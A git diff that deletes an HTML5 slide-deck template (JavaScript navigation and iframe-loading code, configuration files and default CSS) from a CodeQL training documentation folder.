-SlideDeck.prototype.triggerSlideEvent = function(type, slideNo) {
-  var el = this.getSlideEl_(slideNo);
-  if (!el) {
-    return;
-  }
-
-  // Call onslideenter/onslideleave if the attribute is defined on this slide.
-  var func = el.getAttribute(type);
-  if (func) {
-    new Function(func).call(el); // TODO: Don't use new Function() :(
-  }
-
-  // Dispatch event to listeners setup using addEventListener.
-  var evt = document.createEvent('Event');
-  evt.initEvent(type, true, true);
-  evt.slideNumber = slideNo + 1; // Make it readable
-  evt.slide = el;
-
-  el.dispatchEvent(evt);
-};
-
-/**
- * @private
- */
-SlideDeck.prototype.updateSlides_ = function(opt_dontPush) {
-  var dontPush = opt_dontPush || false;
-
-  var curSlide = this.curSlide_;
-  for (var i = 0; i < this.slides.length; ++i) {
-    switch (i) {
-      case curSlide - 2:
-        this.updateSlideClass_(i, 'far-past');
-        break;
-      case curSlide - 1:
-        this.updateSlideClass_(i, 'past');
-        break;
-      case curSlide:
-        this.updateSlideClass_(i, 'current');
-        break;
-      case curSlide + 1:
-        this.updateSlideClass_(i, 'next');
-        break;
-      case curSlide + 2:
-        this.updateSlideClass_(i, 'far-next');
-        break;
-      default:
-        this.updateSlideClass_(i);
-        break;
-    }
-  };
-
-  this.triggerSlideEvent('slideleave', this.prevSlide_);
-  this.triggerSlideEvent('slideenter', curSlide);
-
-// window.setTimeout(this.disableSlideFrames_.bind(this, curSlide - 2), 301);
-//
-// this.enableSlideFrames_(curSlide - 1); // Previous slide.
-// this.enableSlideFrames_(curSlide + 1); // Current slide.
-// this.enableSlideFrames_(curSlide + 2); // Next slide.
-
-   // Enable current slide's iframes (needed for page loat at current slide).
-   this.enableSlideFrames_(curSlide + 1);
-
-   // No way to tell when all slide transitions + auto builds are done.
-   // Give ourselves a good buffer to preload the next slide's iframes.
-   window.setTimeout(this.enableSlideFrames_.bind(this, curSlide + 2), 1000);
-
-  this.updateHash_(dontPush);
-
-  if (document.body.classList.contains('overview')) {
-    this.focusOverview_();
-    return;
-  }
-
-};
-
-/**
- * @private
- * @param {number} slideNo
- */
-SlideDeck.prototype.enableSlideFrames_ = function(slideNo) {
-  var el = this.slides[slideNo - 1];
-  if (!el) {
-    return;
-  }
-
-  var frames = el.querySelectorAll('iframe');
-  for (var i = 0, frame; frame = frames[i]; i++) {
-    this.enableFrame_(frame);
-  }
-};
-
-/**
- * @private
- * @param {number} slideNo
- */
-SlideDeck.prototype.enableFrame_ = function(frame) {
-  var src = frame.dataset.src;
-  if (src && frame.src != src) {
-    frame.src = src;
-  }
-};
-
-/**
- * @private
- * @param {number} slideNo
- */
-SlideDeck.prototype.disableSlideFrames_ = function(slideNo) {
-  var el = this.slides[slideNo - 1];
-  if (!el) {
-    return;
-  }
-
-  var frames = el.querySelectorAll('iframe');
-  for (var i = 0, frame; frame = frames[i]; i++) {
-    this.disableFrame_(frame);
-  }
-};
-
-/**
- * @private
- * @param {Node} frame
- */
-SlideDeck.prototype.disableFrame_ = function(frame) {
-  frame.src = 'about:blank';
-};
-
-/**
- * @private
- * @param {number} slideNo
- */
-SlideDeck.prototype.getSlideEl_ = function(no) {
-  if ((no < 0) || (no >= this.slides.length)) {
-    return null;
-  } else {
-    return this.slides[no];
-  }
-};
-
-/**
- * @private
- * @param {number} slideNo
- * @param {string} className
- */
-SlideDeck.prototype.updateSlideClass_ = function(slideNo, className) {
-  var el = this.getSlideEl_(slideNo);
-
-  if (!el) {
-    return;
-  }
-
-  if (className) {
-    el.classList.add(className);
-  }
-
-  for (var i = 0, slideClass; slideClass = this.SLIDE_CLASSES_[i]; ++i) {
-    if (className != slideClass) {
-      el.classList.remove(slideClass);
-    }
-  }
-};
-
-/**
- * @private
- */
-SlideDeck.prototype.BUILD_ITEM_RE = /build-item-(\d+)(-class-(\w+))?(-only)?/;
-
-SlideDeck.prototype.makeBuildLists_ = function () {
-  for (var i = this.curSlide_, slide; slide = this.slides[i]; ++i) {
-    var items = slide.querySelectorAll('.build > *');
-
-    for (var j = 0, item; item = items[j]; ++j) {
-      if (item.classList) {
-        item.classList.add('to-build');
-        if (item.parentNode.classList.contains('fade')) {
-          item.classList.add('fade');
-        }
-      }
-    }
-
-    var items = slide.querySelectorAll('[class*="build-item-"]');
-    if (items.length) {
-        slide._buildItems = [];
-    };
-    for (var j = 0, item; item = items[j]; ++j) {
-      if (item.classList) {
-        item.classList.add('to-build');
-        if (!item.parentNode.classList.contains('build')) {
-            item.parentNode.classList.add('build');
-        }
-        if (item.parentNode.classList.contains('fade')) {
-          item.classList.add('fade');
-        }
-      }
-
-      var build_info = this.BUILD_ITEM_RE.exec(item.classList),
-          build_index = build_info[1],
-          build_class = build_info[3],
-          build_only = build_info[4];
-
-      if (slide._buildItems[build_index] === undefined) {
-          slide._buildItems[build_index] = [];
-      }
-      slide._buildItems[build_index].push(item);
-
-      if (build_class) {
-          item.setAttribute('data-build-class', build_class);
-      }
-
-      if (build_only) {
-          // add the data-attribute
-          item.setAttribute('data-build-show-only', build_index);
-      }
-
-    }
-
-  }
-};
-
-/**
- * @private
- * @param {boolean} dontPush
- */
-SlideDeck.prototype.updateHash_ = function(dontPush) {
-  if (!dontPush) {
-    var slideNo = this.curSlide_ + 1;
-    var hash = '#' + slideNo;
-    if (window.history.pushState) {
-      window.history.pushState(this.curSlide_, 'Slide ' + slideNo, hash);
-    } else {
-      window.location.replace(hash);
-    }
-
-    // Record GA hit on this slide.
-    window['_gaq'] && window['_gaq'].push(['_trackPageview',
-                                          document.location.href]);
-  }
-};
-
-
-/**
- * @private
- * @param {string} favIcon
- */
-SlideDeck.prototype.addFavIcon_ = function(favIcon) {
-  var el = document.createElement('link');
-  el.rel = 'icon';
-  el.type = 'image/png';
-  el.href = favIcon;
-  document.querySelector('head').appendChild(el);
-};
-
-/**
- * @private
- * @param {string} theme
- */
-SlideDeck.prototype.loadTheme_ = function(theme) {
-  var styles = [];
-  if (theme.constructor.name === 'String') {
-    styles.push(theme);
-  } else {
-    styles = theme;
-  }
-
-  for (var i = 0, style; themeUrl = styles[i]; i++) {
-    var style = document.createElement('link');
-    style.rel = 'stylesheet';
-    style.type = 'text/css';
-    if (themeUrl.indexOf('http') == -1) {
-      style.href = this.CSS_DIR_ + themeUrl + '.css';
-    } else {
-      style.href = themeUrl;
-    }
-    document.querySelector('head').appendChild(style);
-  }
-};
-
-/**
- * @private
- */
-SlideDeck.prototype.loadAnalytics_ = function() {
-  var _gaq = window['_gaq'] || [];
-  _gaq.push(['_setAccount', this.config_.settings.analytics]);
-  _gaq.push(['_trackPageview']);
-
-  (function() {
-    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
-    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
-    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
-  })();
-};
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-testing.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-testing.js
deleted file mode 100644
index def9cb1b0140..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-testing.js
+++ /dev/null
@@ -1,6 +0,0 @@
-require(['order!modernizr.custom.45394',
-         'order!prettify/prettify', 'order!hammer', 'order!slide-controller',
-         'order!slide-deck',
-         'order!slide-deck-instantiate'], function(someModule) {
-
-});
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slides.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slides.js
deleted file mode 100644
index ba5a36993628..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slides.js
+++ /dev/null
@@ -1,6 +0,0 @@
-require(['order!../slide_config', 'order!modernizr.custom.45394',
-         'order!prettify/prettify', 'order!hammer', 'order!slide-controller',
-         'order!slide-deck',
-         'order!slide-deck-instantiate'], function(someModule) {
-
-});
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/slide_config.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/slide_config.js
deleted file mode 100644
index 0d9b7c6f4d9d..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/slide_config.js
+++ /dev/null
@@ -1,40 +0,0 @@
-var SLIDE_CONFIG = {
-  // Slide settings
-  settings: {
-    title: 'Title Goes Here<br>Up To Two Lines',
-    subtitle: 'Subtitle Goes Here',
-    //eventInfo: {
-    //  title: 'Google I/O',
-    //  date: '6/x/2013'
-    //},
-    useBuilds: true, // Default: true. False will turn off slide animation builds.
-    usePrettify: true, // Default: true
-    enableSlideAreas: true, // Default: true. False turns off the click areas on either slide of the slides.
-    enableTouch: true, // Default: true. If touch support should enabled. Note: the device must support touch.
-    //analytics: 'UA-XXXXXXXX-1', // TODO: Using this breaks GA for some reason (probably requirejs). Update your tracking code in template.html instead.
-    favIcon: 'images/google_developers_logo_tiny.png',
-    fonts: [
-      'Open Sans:regular,semibold,italic,italicsemibold',
-      'Source Code Pro'
-    ],
-    //theme: ['mytheme'], // Add your own custom themes or styles in /theme/css. Leave off the .css extension.
-  },
-
-  // Author information
-  presenters: [{
-    name: 'Firstname Lastname',
-    company: 'Job Title<br>Google',
-    gplus: 'http://plus.google.com/1234567890',
-    twitter: '@yourhandle',
-    www: 'http://www.you.com',
-    github: 'http://github.com/you'
-  }/*, {
-    name: 'Second Name',
-    company: 'Job Title, Google',
-    gplus: 'http://plus.google.com/1234567890',
-    twitter: '@yourhandle',
-    www: 'http://www.you.com',
-    github: 'http://github.com/you'
-  }*/]
-};
-
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/slide_config.js_t b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/slide_config.js_t
deleted file mode 100644
index 62339175d84f..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/slide_config.js_t
+++ /dev/null
@@ -1,27 +0,0 @@
-var SLIDE_CONFIG = {
-  // Slide settings
-  settings: {
-    title: '{{ docstitle|e }}',
-    subtitle: '{{ theme_subtitle|e }}',
-    //eventInfo: {
-    //  title: 'Google I/O',
-    //  date: '6/x/2013'
-    //},
-    useBuilds: {{ theme_use_builds }}, // Default: true. False will turn off slide animation builds.
-    usePrettify: {{ theme_use_prettify }}, // Default: true
-    enableSlideAreas: {{ theme_enable_slide_areas }}, // Default: true. False turns off the click areas on either slide of the slides.
-    enableTouch: {{ theme_enable_touch }}, // Default: true. If touch support should enabled. Note: the device must support touch.
-    //analytics: 'UA-XXXXXXXX-1', // TODO: Using this breaks GA for some reason (probably requirejs). Update your tracking code in template.html instead.
-    favIcon: {{ theme_favicon }},
-    fonts: [
-      'Open Sans:regular,semibold,italic,italicsemibold',
-      'Source Code Pro'
-    ],
-    //theme: ['mytheme'], // Add your own custom themes or styles in /theme/css. Leave off the .css extension.
-  },
-
-  // Author information
-  presenters: {% if theme_presenters %}{{ theme_presenters|json }}
-  {% else %}[]
-  {% endif %}
-};
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/default.css b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/default.css
deleted file mode 100644
index dad8b305ed6b..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/css/default.css
+++ /dev/null
@@ -1,1794 +0,0 @@
-@charset "UTF-8";
-/* line 5, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-html, body, div, span, applet, object, iframe,
-h1, h2, h3, h4, h5, h6, p, blockquote, pre,
-a, abbr, acronym, address, big, cite, code,
-del, dfn, em, img, ins, kbd, q, s, samp,
-small, strike, strong, sub, sup, tt, var,
-b, u, i, center,
-dl, dt, dd, ol, ul, li,
-fieldset, form, label, legend,
-table, caption, tbody, tfoot, thead, tr, th, td,
-article, aside, canvas, details, embed,
-figure, figcaption, footer, header, hgroup,
-menu, nav, output, ruby, section, summary,
-time, mark, audio, video {
-  margin: 0;
-  padding: 0;
-  border: 0;
-  font: inherit;
-  vertical-align: baseline;
-}
-
-/* line 22, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-html {
-  line-height: 1;
-}
-
-/* line 24, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-/*ol, ul {
-  list-style: none;
-}*/
-
-/* line 26, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-table {
-  border-collapse: collapse;
-  border-spacing: 0;
-}
-
-/* line 28, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-caption, th, td {
-  text-align: left;
-  font-weight: normal;
-  vertical-align: middle;
-}
-
-/* line 30, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-q {
-  quotes: none;
-  margin-left: 2%;
-  margin-right:2%;
-}
-/* line 103, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-q:before, q:after, blockquote:before, blockquote:after {
-  content: "";
-  content: none;
-}
-
-/* line 32, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-a img {
-  border: none;
-  display: block;
-  margin-left: auto;
-  margin-right: auto;
-}
-
-/* line 116, ../../../../../../../../../../../Library/Ruby/Gems/2.0.0/gems/compass-core-1.0.3/stylesheets/compass/reset/_utilities.scss */
-article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary {
-  display: block;
-}
-
-/**
- * Base SlideDeck Styles
- */
-/* line 52, ../scss/_base.scss */
-html {
-  height: 100%;
-  overflow: hidden;
-}
-
-/* line 57, ../scss/_base.scss */
-body {
-  margin: 0;
-  padding: 0;
-  opacity: 0;
-  height: 100%;
-  min-height: 740px;
-  width: 100%;
-  overflow: hidden;
-  color: #fff;
-  -webkit-font-smoothing: antialiased;
-  -moz-font-smoothing: antialiased;
-  -ms-font-smoothing: antialiased;
-  -o-font-smoothing: antialiased;
-  -moz-transition: opacity 800ms ease-in 100ms;
-  -o-transition: opacity 800ms ease-in 100ms;
-  -webkit-transition: opacity 800ms ease-in;
-  -webkit-transition-delay: 100ms;
-  transition: opacity 800ms ease-in 100ms;
-  /*font-size: 2.2vmin;*/
-}
-/* line 73, ../scss/_base.scss */
-body.loaded {
-  opacity: 1 !important;
-}
-
-/* line 78, ../scss/_base.scss */
-input, button {
-  vertical-align: middle;
-}
-
-/* line 82, ../scss/_base.scss */
-slides > slide[hidden] {
-  display: none !important;
-}
-
-/* line 86, ../scss/_base.scss */
-slides {
-  width: 100vw;
-  height: 56.25vw;
-  max-height: 100vh;
-  max-width: 177.78vh;
-  bottom: auto;
-  right: auto;
-  transform: translate(-50%, -50%);
-  position: absolute;
-  left: 0;
-  top: 0;
-  right: 0;
-  bottom: 0;
-  margin: auto;
-  -moz-transform: translate3d(0, 0, 0);
-  -ms-transform: translate3d(0, 0, 0);
-  -webkit-transform: translate3d(0, 0, 0);
-  transform: translate3d(0, 0, 0);
-  -moz-perspective: 1000;
-  -webkit-perspective: 1000;
-  perspective: 1000;
-  -moz-transform-style: preserve-3d;
-  -webkit-transform-style: preserve-3d;
-  transform-style: preserve-3d;
-  -moz-transition: opacity 800ms ease-in 100ms;
-  -o-transition: opacity 800ms ease-in 100ms;
-  -webkit-transition: opacity 800ms ease-in;
-  -webkit-transition-delay: 100ms;
-  transition: opacity 800ms ease-in 100ms;
-  font-size: 14px;
-}
-
-/* line 98, ../scss/_base.scss */
-slides > slide {
-  display: block;
-  position: absolute;
-  overflow: hidden;
-  -moz-box-sizing: border-box;
-  -webkit-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-/* Slide styles */
-/*article.fill iframe {
-  position: absolute;
-  left: 0;
-  top: 0;
-  width: 100%;
-  height: 100%;
-
-  border: 0;
-  margin: 0;
-
-  @include border-radius(10px);
-
-  z-index: -1;
-}
-
-slide.fill {
-  background-repeat: no-repeat;
-  @include background-size(cover);
-}
-
-slide.fill img {
-  position: absolute;
-  left: 0;
-  top: 0;
-  min-width: 100%;
-  min-height: 100%;
-
-  z-index: -1;
-}
-*/
-/**
- * Theme Styles
- */
-/* line 22, ../scss/default.scss */
-::selection {
-  color: white;
-  background-color: #ffd14d;
-  text-shadow: none;
-}
-
-/* line 28, ../scss/default.scss */
-::-webkit-scrollbar {
-  height: 16px;
-  overflow: visible;
-  width: 16px;
-}
-
-/* line 33, ../scss/default.scss */
-::-webkit-scrollbar-thumb {
-  background-color: rgba(0, 0, 0, 0.1);
-  background-clip: padding-box;
-  border: solid transparent;
-  min-height: 28px;
-  padding: 100px 0 0;
-  -moz-box-shadow: inset 1px 1px 0 rgba(0, 0, 0, 0.1), inset 0 -1px 0 rgba(0, 0, 0, 0.07);
-  -webkit-box-shadow: inset 1px 1px 0 rgba(0, 0, 0, 0.1), inset 0 -1px 0 rgba(0, 0, 0, 0.07);
-  box-shadow: inset 1px 1px 0 rgba(0, 0, 0, 0.1), inset 0 -1px 0 rgba(0, 0, 0, 0.07);
-  border-width: 1px 1px 1px 6px;
-}
-
-/* line 42, ../scss/default.scss */
-::-webkit-scrollbar-thumb:hover {
-  background-color: rgba(0, 0, 0, 0.5);
-}
-
-/* line 45, ../scss/default.scss */
-::-webkit-scrollbar-button {
-  height: 0;
-  width: 0;
-}
-
-/* line 49, ../scss/default.scss */
-::-webkit-scrollbar-track {
-  background-clip: padding-box;
-  border: solid transparent;
-  border-width: 0 0 0 4px;
-}
-
-/* line 54, ../scss/default.scss */
-::-webkit-scrollbar-corner {
-  background: transparent;
-}
-
-/* line 58, ../scss/default.scss */
-body {
-  background: black;
-}
-
-/* line 62, ../scss/default.scss */
-slides > slide {
-  display: none;
-  font-family: 'Lato', sans-serif;
-  font-size: 2em;
-  color: #797979;
-  padding: 5%;
-  -moz-transition: all 0.6s ease-in-out;
-  -o-transition: all 0.6s ease-in-out;
-  /*-webkit-transition: all 0.6s ease-in-out;
-  transition: all 0.6s ease-in-out;*/
-  /*overflow: auto;*/
-}
-/* line 83, ../scss/default.scss */
-slides > slide.far-past {
-  display: none;
-}
-/* line 90, ../scss/default.scss */
-slides > slide.past {
-  display: block;
-  opacity: 0;
-}
-/* line 97, ../scss/default.scss */
-slides > slide.current {
-  display: block;
-  opacity: 1;
-}
-/* line 103, ../scss/default.scss */
-slides > slide.current .auto-fadein {
-  opacity: 1;
-}
-/* line 107, ../scss/default.scss */
-slides > slide.current .gdbar {
-  -moz-background-size: 100% 100%;
-  -o-background-size: 100% 100%;
-  -webkit-background-size: 100% 100%;
-  background-size: 100% 100%;
-}
-/* line 112, ../scss/default.scss */
-slides > slide.next {
-  /*display: block;*/
-  display: none;
-  opacity: 0;
-  pointer-events: none;
-}
-/* line 120, ../scss/default.scss */
-slides > slide.far-next {
-  display: none;
-}
-/* line 127, ../scss/default.scss */
-slides > slide.dark {
-  background: #515151 !important;
-}
-/* line 135, ../scss/default.scss */
-slides > slide:not(.nobackground):before {
-  font-size: 1em;
-  content: "";
-  position: absolute;
-  bottom: 20px;
-  left: 60px;
-  -moz-background-size: 30px 30px;
-  -o-background-size: 30px 30px;
-  -webkit-background-size: 30px 30px;
-  background-size: 30px 30px;
-  padding-left: 40px;
-  height: 30px;
-  line-height: 1.9;
-}
-/* line 147, ../scss/default.scss */
-slides > slide:not(.nobackground):after {
-  font-size: 0.5em;
-  content: attr(data-slide-num) "/" attr(data-total-slides);
-  position: fixed;
-  bottom: 20px;
-  right: 20px;
-  line-height: 1.9;
-}
-/* line 158, ../scss/default.scss */
-slides > slide.title-slide:after {
-  content: '';
-  position: absolute;
-  bottom: 40px;
-  right: 40px;
-  width: 100%;
-  height: 60px;
-}
-/* line 170, ../scss/default.scss */
-slides > slide.backdrop {
-  z-index: -10;
-  display: block !important;
-  background: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJvYmplY3RCb3VuZGluZ0JveCIgeDE9IjAuNSIgeTE9IjAuMCIgeDI9IjAuNSIgeTI9IjEuMCI+PHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIvPjxzdG9wIG9mZnNldD0iODUlIiBzdG9wLWNvbG9yPSIjZmZmZmZmIi8+PHN0b3Agb2Zmc2V0PSIxMDAlIiBzdG9wLWNvbG9yPSIjZTZlNmU2Ii8+PC9saW5lYXJHcmFkaWVudD48L2RlZnM+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgZmlsbD0idXJsKCNncmFkKSIgLz48L3N2Zz4g');
-  background: -webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(0%, #ffffff), color-stop(85%, #ffffff), color-stop(100%, #e6e6e6));
-  background: -moz-linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-  background: -webkit-linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-  background: linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-  background-color: white;
-}
-/* line 175, ../scss/default.scss */
-slides > slide.backdrop:after, slides > slide.backdrop:before {
-  display: none;
-}
-/* line 180, ../scss/default.scss */
-/*slides > slide > hgroup + article {
-  margin-top: 45px;
-}*/
-/* line 184, ../scss/default.scss */
-slides > slide > hgroup + article.flexbox.vcenter, slides > slide > hgroup + article.flexbox.vleft, slides > slide > hgroup + article.flexbox.vright {
-  height: 80%;
-}
-/* line 189, ../scss/default.scss */
-slides > slide > hgroup + article p {
-  margin-bottom: 0.5em;
-  line-height: initial;
-}
-/* line 194, ../scss/default.scss */
-slides > slide > article:only-child {
-  height: 100%;
-}
-/* line 197, ../scss/default.scss */
-slides > slide > article:only-child > iframe {
-  height: 98%;
-}
-
-/* line 203, ../scss/default.scss */
-slides.layout-faux-widescreen > slide {
-  padding: 40px 160px;
-}
-
-/* line 212, ../scss/default.scss */
-slides.layout-widescreen > slide,
-slides.layout-faux-widescreen > slide {
-  width: 100%;
-  /*overflow: auto;*/
-}
-/* line 217, ../scss/default.scss */
-slides.layout-widescreen > slide.far-past,
-slides.layout-faux-widescreen > slide.far-past {
-  display: block;
-  display: none;
-  -moz-transform: translate(-2260px);
-  -ms-transform: translate(-2260px);
-  -webkit-transform: translate(-2260px);
-  transform: translate(-2260px);
-  -moz-transform: translate3d(-2260px, 0, 0);
-  -ms-transform: translate3d(-2260px, 0, 0);
-  -webkit-transform: translate3d(-2260px, 0, 0);
-  transform: translate3d(-2260px, 0, 0);
-}
-/* line 224, ../scss/default.scss */
-slides.layout-widescreen > slide.past,
-slides.layout-faux-widescreen > slide.past {
-  display: block;
-  opacity: 0;
-}
-/* line 231, ../scss/default.scss */
-slides.layout-widescreen > slide.current,
-slides.layout-faux-widescreen > slide.current {
-  display: block;
-  opacity: 1;
-}
-/* line 238, ../scss/default.scss */
-slides.layout-widescreen > slide.next,
-slides.layout-faux-widescreen > slide.next {
-  /*display: block;*/
-  opacity: 0;
-  pointer-events: none;
-}
-/* line 246, ../scss/default.scss */
-slides.layout-widescreen > slide.far-next,
-slides.layout-faux-widescreen > slide.far-next {
-  display: block;
-  display: none;
-  -moz-transform: translate(2260px);
-  -ms-transform: translate(2260px);
-  -webkit-transform: translate(2260px);
-  transform: translate(2260px);
-  -moz-transform: translate3d(2260px, 0, 0);
-  -ms-transform: translate3d(2260px, 0, 0);
-  -webkit-transform: translate3d(2260px, 0, 0);
-  transform: translate3d(2260px, 0, 0);
-}
-/* line 253, ../scss/default.scss */
-slides.layout-widescreen #prev-slide-area,
-slides.layout-faux-widescreen #prev-slide-area {
-  margin-left: -650px;
-}
-/* line 257, ../scss/default.scss */
-slides.layout-widescreen #next-slide-area,
-slides.layout-faux-widescreen #next-slide-area {
-  margin-left: 550px;
-}
-
-/* line 262, ../scss/default.scss */
-b {
-  font-weight: 600;
-}
-
-/* line 266, ../scss/default.scss */
-a {
-  color: #5c31ff;;
-  text-decoration: none;
-  border-bottom: 1px solid rgba(42, 124, 223, 0.5);
-}
-/* line 271, ../scss/default.scss */
-a:hover {
-  color: black !important;
-}
-
-/* line 276, ../scss/default.scss */
-h1, h2, h3 {
-  font-weight: 600;
-  color: #5c31ff;
-}
-
-h1, h2 {
-  font-size: 1.5em;
-  font-family: 'Work Sans', sans-serif; 
-}
-/* line 280, ../scss/default.scss */
-/*h2 {
-  font-size: 2em;
-  line-height: 45px;
-  letter-spacing: -2px;
-  color: #515151;
-}*/
-
-/* line 287, ../scss/default.scss */
-h3 {
-  font-size: 1.6em;
-  letter-spacing: -1px;
-  line-height: 2;
-  font-weight: inherit;
-  color: #797979;
-}
-
-/* line 295, ../scss/default.scss */
-ul {
-  margin-left: 2.2em;
-  margin-bottom: 1em;
-  position: relative;
-  width: 90%;
-}
-/* line 300, ../scss/default.scss */
-ul li {
-  margin-bottom: 0.5em;
-  color: black;
-  line-height: 1.4em;
-}
-/* line 303, ../scss/default.scss */
-ul li ul {
-  margin-left: 2em;
-  margin-bottom: 0;
-}
-/* line 307, ../scss/default.scss */
-/*ul li ul li:before {
-  content: '-';
-  font-weight: 600;
-}*/
-/* line 314, ../scss/default.scss */
-/*ul > li:before {
-  content: '\00B7';
-  margin-left: -0.5em;
-  position: absolute;
-  font-weight: 600;
-  font-size: 2em;
-}*/
-/* line 321, ../scss/default.scss */
-/*ul ul {
-  margin-top: .5em;
-}*/
-
-/* line 328, ../scss/default.scss */
-.highlight-code slide.current pre > * {
-  opacity: 0.25;
-  -moz-transition: opacity 0.5s ease-in;
-  -o-transition: opacity 0.5s ease-in;
-  -webkit-transition: opacity 0.5s ease-in;
-  transition: opacity 0.5s ease-in;
-}
-/* line 332, ../scss/default.scss */
-.highlight-code slide.current b {
-  opacity: 1;
-}
-
-/* line 337, ../scss/default.scss */
-pre {
-  font-family: 'consolas', 'Courier New', monospace;
-  font-size: 0.8em;
-  line-height: 1.2em;
-  /*padding: 0.8em;*/
-  margin-bottom: 0.5em;
-  /*background-color: #e6e6e6;*/
-  -moz-box-sizing: border-box;
-  -webkit-box-sizing: border-box;
-  box-sizing: border-box;
-  overflow: auto;
-  white-space: pre-wrap;
-}
-
-/* line 351, ../scss/default.scss */
-pre[data-lang]:after {
-  content: attr(data-lang);
-  /*background-color: #a9a9a9;*/
-  right: 0;
-  top: 0;
-  position: absolute;
-  font-size: 1em;
-  color: white;
-  padding: 2px 25px;
-  text-transform: uppercase;
-}
-
-/* line 364, ../scss/default.scss */
-pre[data-lang="go"] {
-  color: #333;
-}
-
-/* line 368, ../scss/default.scss */
-code {
-  font-size: 95%;
-  font-family: 'Consolas', 'Courier New', monospace;
-  color: black;
-}
-
-/* line 374, ../scss/default.scss */
-iframe {
-  width: 100%;
-  height: 530px;
-  background: white;
-  border: 1px solid #e6e6e6;
-  -moz-box-sizing: border-box;
-  -webkit-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-/* line 382, ../scss/default.scss */
-dt {
-  font-weight: bold;
-}
-
-/* line 386, ../scss/default.scss */
-button {
-  display: inline-block;
-  padding: 5px 8px;
-  outline: none;
-  white-space: nowrap;
-  -moz-user-select: -moz-none;
-  -ms-user-select: none;
-  -webkit-user-select: none;
-  user-select: none;
-  cursor: pointer;
-  text-shadow: 1px 1px #fff;
-}
-
-/* line 400, ../scss/default.scss */
-button:not(:disabled):hover {
-  border-color: #515151;
-}
-
-/* line 404, ../scss/default.scss */
-button:not(:disabled):active {
-  background: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJvYmplY3RCb3VuZGluZ0JveCIgeDE9IjAuNSIgeTE9IjAuMCIgeDI9IjAuNSIgeTI9IjEuMCI+PHN0b3Agb2Zmc2V0PSI0MCUiIHN0b3AtY29sb3I9IiNlM2UzZTMiLz48c3RvcCBvZmZzZXQ9IjcwJSIgc3RvcC1jb2xvcj0iI2Y5ZjlmOSIvPjwvbGluZWFyR3JhZGllbnQ+PC9kZWZzPjxyZWN0IHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIGZpbGw9InVybCgjZ3JhZCkiIC8+PC9zdmc+IA==');
-  background: -webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(40%, #e3e3e3), color-stop(70%, #f9f9f9));
-  background: -moz-linear-gradient(#e3e3e3 40%, #f9f9f9 70%);
-  background: -webkit-linear-gradient(#e3e3e3 40%, #f9f9f9 70%);
-  background: linear-gradient(#e3e3e3 40%, #f9f9f9 70%);
-}
-
-/* line 408, ../scss/default.scss */
-:disabled {
-  color: #a9a9a9;
-}
-
-/* line 412, ../scss/default.scss */
-.blue {
-  color: #4387fd;
-}
-
-/* line 415, ../scss/default.scss */
-.blue2 {
-  color: #3c8ef3;
-}
-
-/* line 418, ../scss/default.scss */
-.blue3 {
-  color: #2a7cdf;
-}
-
